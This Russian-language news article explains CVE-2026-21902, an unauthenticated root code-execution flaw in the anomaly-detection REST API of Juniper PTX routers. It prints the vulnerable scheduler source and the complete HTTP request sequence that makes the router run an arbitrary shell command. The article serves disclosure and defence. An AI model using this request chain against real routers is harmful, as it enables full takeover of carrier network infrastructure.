Инструмент поиска аномалий не заметил, как сдал устройство хакерам.

В маршрутизаторах Juniper PTX на базе Junos OS Evolved раскрыли критическую уязвимость CVE-2026-21902, которая позволяет удалённо выполнять код с правами root без аутентификации. Juniper описывает проблему как неправильное назначение прав доступа к критическому ресурсу в механизме On-Box Anomaly Detection Framework. По замыслу этот сервис должен быть доступен только внутренним процессам через внутренний маршрутизирующий экземпляр, а не через внешний сетевой порт. Если до службы всё же можно достучаться по сети, атакующий получает возможность управлять сервисом и в итоге полностью захватить устройство. Компонент включён по умолчанию и не требует отдельной настройки.
Уязвимость затрагивает только устройства серии PTX. В бюллетене Juniper говорится, что под удар попали выпуски Junos OS Evolved 25.4 до версий 25.4R1-S1-EVO и 25.4R2-EVO, тогда как сборки до 25.4R1-EVO уязвимыми не считаются. Сама серия PTX применяется в магистральных сетях операторов связи, на узлах пиринга и в крупных межцентровых соединениях. Такие маршрутизаторы проектируют под очень высокую пропускную способность, низкие задержки и большую плотность портов. Классический Junos OS исторически строился на FreeBSD, а Junos OS Evolved Juniper перевела на Linux и более модульную, контейнеризированную архитектуру.
Проверка показала, что внутри системы действительно работает сетевой сервис, связанный с On-Box Anomaly Detection Framework. При просмотре сокетов исследователи увидели следующую картину:
Protocol Binding IP Port Application Description
TCP 0.0.0.0 22 SSH xinetd
TCP 0.0.0.0 53 DNS dnsmasq
TCP 0.0.0.0 830 NETCONF over SSH xinetd
TCP 0.0.0.0 8160 On-Box Anomaly Detection Framework /usr/sbin/ monitor/ api_server.py
TCP [::] 22 SSH xinetd
TCP [::] 53 DNS dnsmasq
TCP [::] 830 NETCONF over SSH xinetd
UDP * 53 DNS dnsmasq
UDP * 123 NTP ntpd
UDP * 161 SNMP snmpd
UDP * 514 Syslog eventd
UDP 0.0.0.0 6123 Junos NTP jsntpd
UDP 0.0.0.0 8503 Routing Protocol Daemon rpd
Служба аномалий слушает порт 8160/TCP и, судя по выводу, привязана к 0.0.0.0, то есть ко всем IPv4-интерфейсам. Подозрения усиливает и код инициализации HTTP-сервера, найденный в системе:
port = CONFIG.get('api_server_port', 8160)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Serving HTTP on port {port}...')
httpd.serve_forever()
Пустая строка в server_address в такой конструкции означает привязку ко всем адресам. Сервис представляет собой REST API, написанный на Python и запущенный с правами root. Назначение платформы довольно широкое: через неё можно описывать, планировать и запускать диагностические процедуры, реагировать на найденные аномалии, добавлять новую логику обнаружения и разбирать проблемы вроде аппаратных сбоев, аномалий трафика и ошибок протоколов без внешней системы мониторинга.
Внутренняя модель сервиса строится вокруг четырёх сущностей. Первая - Command, то есть команда, которая будет выполнена на устройстве. Вторая - Handler, обработчик, разбирающий вывод команды. Третья - DAG, ориентированный ациклический граф, который описывает последовательность действий: команд, обработчиков или вложенных графов. Четвёртая - DAG Instance, конкретный экземпляр графа, привязанный к расписанию. Уже из этой схемы видно, что система сама по себе умеет запускать команды на маршрутизаторе. Вопрос только в том, можно ли управлять этой функцией извне. Ответ, судя по опубликованному разбору, оказался положительным.
Все основные файлы лежат прямо в файловой системе устройства, в каталоге /usr/sbin/monitor/. Исследователи выделили четыре ключевых компонента:
python3.10 /usr/sbin/monitor/ anomaly_detector_main.py - The initial Python script that ensures the sub Python scripts stay alive.
python3.10 /usr/sbin/monitor/ api_server.py - The HTTP API server which stores request data in files on the server.
python3.10 /usr/sbin/monitor/ intent_monitor.py - Periodically checks for updates to definitions and updates API server definitions.
python3.10 /usr/sbin/monitor/ schedule_enforcer.py - Executes scheduled DAG instances periodically.
anomaly_detector_main.py следит, чтобы остальные процессы не падали. api_server.py обслуживает HTTP-запросы и сохраняет полученные данные в файлах на устройстве. intent_monitor.py периодически отслеживает обновления определений и синхронизирует их с сервером API. schedule_enforcer.py отвечает за периодический запуск экземпляров DAG по расписанию.
Набор HTTP-методов и конечных точек у сервиса выглядит как вполне обычный интерфейс управления конфигурацией. В опубликованном разборе приведён такой список:
Method Path Description
GET /anomaly Retrieves all registered Anomalies.
GET /config/schedule/ <component> Get new DAG INSTANCEs to execute on the component.
GET / POST / PUT / DELETE /config/dag/<dag-name> Retrieves, creates, updates ,or deletes a DAG configuration.
GET / POST / PUT / DELETE /config/command/ <command-name> Retrieves, creates, updates ,or deletes a COMMAND configuration.
GET / POST / PUT / DELETE /config/handler/ <handler-name> Retrieves, creates, updates ,or deletes a HANDLER configuration.
GET / POST / PUT / DELETE /config/dag-instance/ <dag-instance-name> Retrieves, creates, updates ,or deletes a DAG INSTANCE configuration.
GET / POST /config/commit Validates the union of the Workspace config and the Existing Config. Saves the Workspace Config if it is valid on POST.
GET / POST /output/dag-instance/ <dag-instance-name>/iteration/ <iteration>/component/re Retrieves or stores the output of a specific DAG INSTANCE run for an ITERATION on the RE.
GET / POST / DELETE /alarm/dag-instance/ <dag-instance-name>/ component/re Gets, stores or deletes alarms raised by the DAG INSTANCE run on the RE.
POST /anomaly/dag-instance/ <dag-instance-name>/iteration/ <iteration>/component/re Registers anomalies raised by the DAG INSTANCE run on an RE.
Критически важная часть находится в конфигурации команды. Сервис позволяет создать объект command, а в поле syntax передать строку, которую система позже запустит. Для удалённого выполнения кода в опубликованном примере используется простая команда id > /var/home/admin/watchTowr.txt. Тип RE-SHELL подсказывает сервису, что строку нужно выполнить как обычную команду оболочки на самом устройстве.
Пример HTTP-запроса для создания такой команды в оригинале выглядит так:
POST /config/command/<command-name> HTTP/1.1
Host: <hostname>
Content-Type: application/json
Content-Length: <length>
{
"syntax": "id > /var/home/admin/watchTowr.txt",
"type": "RE-SHELL",
"parsing": {
},
"outputs": {
"result": {"type": "str"}
},
"doc": ""
}
После создания команды атакующему нужен DAG, который определит порядок выполнения действий. В простейшем случае граф состоит из одного действия и просто ссылается на ранее созданную команду. Обработчики, дополнительные входные параметры и переходы между узлами не нужны. В разборе приведён следующий запрос:
POST /config/dag/<dag-name> HTTP/1.1
Host: <hostname>
Content-Type: application/json
Content-Length: <length>
{
"start": [<action_name>],
"edges": [],
"actions": {
<action_name>: {
"command": <command_name>,
"inputs": {}
}
},
"doc": ""
}
Дальше создаётся экземпляр DAG, который говорит сервису, когда именно нужно выполнить граф. В опубликованной цепочке запуск назначают немедленно, без задержки. Для этого используется такой запрос:
POST /config/dag-instance/<dag-instance-name> HTTP/1.1
Host: <hostname>
Content-Type: application/json
Content-Length: <length>
{
"dag": <dag_name>,
"enabled": True,
"platform": <platform>,
"target": {
"type": "RE"
},
"schedule": {
"start": <now>,
"delay": 0
},
"context": {}
}
На последнем шаге клиент отправляет запрос фиксации конфигурации. После этого прежние объекты сохраняются в файле, который затем обрабатывает планировщик schedule_enforcer:
POST /config/config/commit HTTP/1.1
Host: <hostname>
Content-Type: application/json
Content-Length: 0
Дальше в дело вступает внутренняя логика сервиса. Главная функция получает расписание, заданное для экземпляра DAG. После проверки времени она вызывает execute_dag_instance. Затем запускается execute_dag, далее - run_bfs_on_dag_actions, а уже там вызывается execute_command. Именно в этой функции из описания команды извлекается поле syntax, и его содержимое без фильтрации передаётся в subprocess.run(...). В опубликованном разборе цепочка показана прямо по исходному коду:
def main(): # [1]
...
schedule = api_client.get_config_schedule(component_name=f'{COMPONENT}{FPC_SLOT}')
...
thread = threading.Thread(target=execute_dag_instance, args=(...)) # [2]
...
def execute_dag_instance(api_client, ...): # [2]
...
dag_executor = Executor(...)
dag_executor.execute_dag() # [3]
...
class Executor:
def execute_dag(self): # [3]
self.run_bfs_on_dag_actions(...) # [4]
def run_bfs_on_dag_actions(self, ...): # [4]
...
if 'command' in dag_def['actions'][current_node]:
action_outputs = self.execute_command(command_id=current_node, ...) # [5]
...
#
# COMMAND Execution Function
#
def execute_command(self, command_id, ...): # [5]
command_name = dag_def['actions'][command_id]['command']
...
#
# Build Command by substituting in Inputs
#
syntax = command_def['syntax'] # [6]
...
if self.target['type'] == 'RE':
#
# If the DAG INSTANCE is executing on the RE,
# and if the command type is an RE CLI command,
# we need to run the command on the RE
#
if command_def['type'] == 'RE':
component_command_mapping['re'] = f'cli -c "{syntax}"'
elif command_def['type'] == 'RE-SHELL':
component_command_mapping['re'] = syntax
raw_output_mapping = dict()
for component_name, command in component_command_mapping.items():
try:
completed_subprocess = subprocess.run( # [7]
command,
shell=True,
check=True,
stderr=subprocess.PIPE,
stdout=subprocess.PIPE
)
if completed_subprocess.returncode != 0:
raw_output = completed_subprocess.stderr.decode('utf-8')
else:
raw_output = completed_subprocess.stdout.decode('utf-8')
raw_output_mapping[component_name] = raw_output
except subprocess.CalledProcessError as e:
logging.error(f'Error executing command - ...')
Здесь важны сразу несколько деталей. Во-первых, логика сама строит строку команды из конфигурации DAG. Во-вторых, для типа RE-SHELL никакого дополнительного обрамления не происходит: строка из syntax просто попадает в component_command_mapping['re']. В-третьих, вызов subprocess.run использует параметр shell=True, а значит, строка обрабатывается оболочкой напрямую. Для атакующего это уже готовое удалённое выполнение кода, причём с правами root, потому что сам сервис работает от имени суперпользователя.
Вся цепочка в итоге выглядит почти слишком прямолинейно для критической уязвимости такого уровня. Удалённый пользователь без логина и пароля отправляет запрос на создание команды, затем описывает DAG, регистрирует экземпляр DAG, фиксирует конфигурацию и ждёт, пока планировщик выполнит задание. После этого команда срабатывает на маршрутизаторе. Никакой отдельной уязвимости для обхода аутентификации здесь не требуется, потому что входной интерфейс и так оказывается доступен извне.
Именно поэтому CVE-2026-21902 получила почти максимальную оценку по шкале CVSS. При успешной эксплуатации атакующий получает полный контроль над магистральным маршрутизатором, который может стоять в критическом сегменте сети оператора, интернет-обменника или гипермасштабной инфраструктуры. Для таких устройств компрометация означает уже не локальный сбой одного сервиса, а риск полного контроля над сетевым узлом, через который проходит большой объём трафика.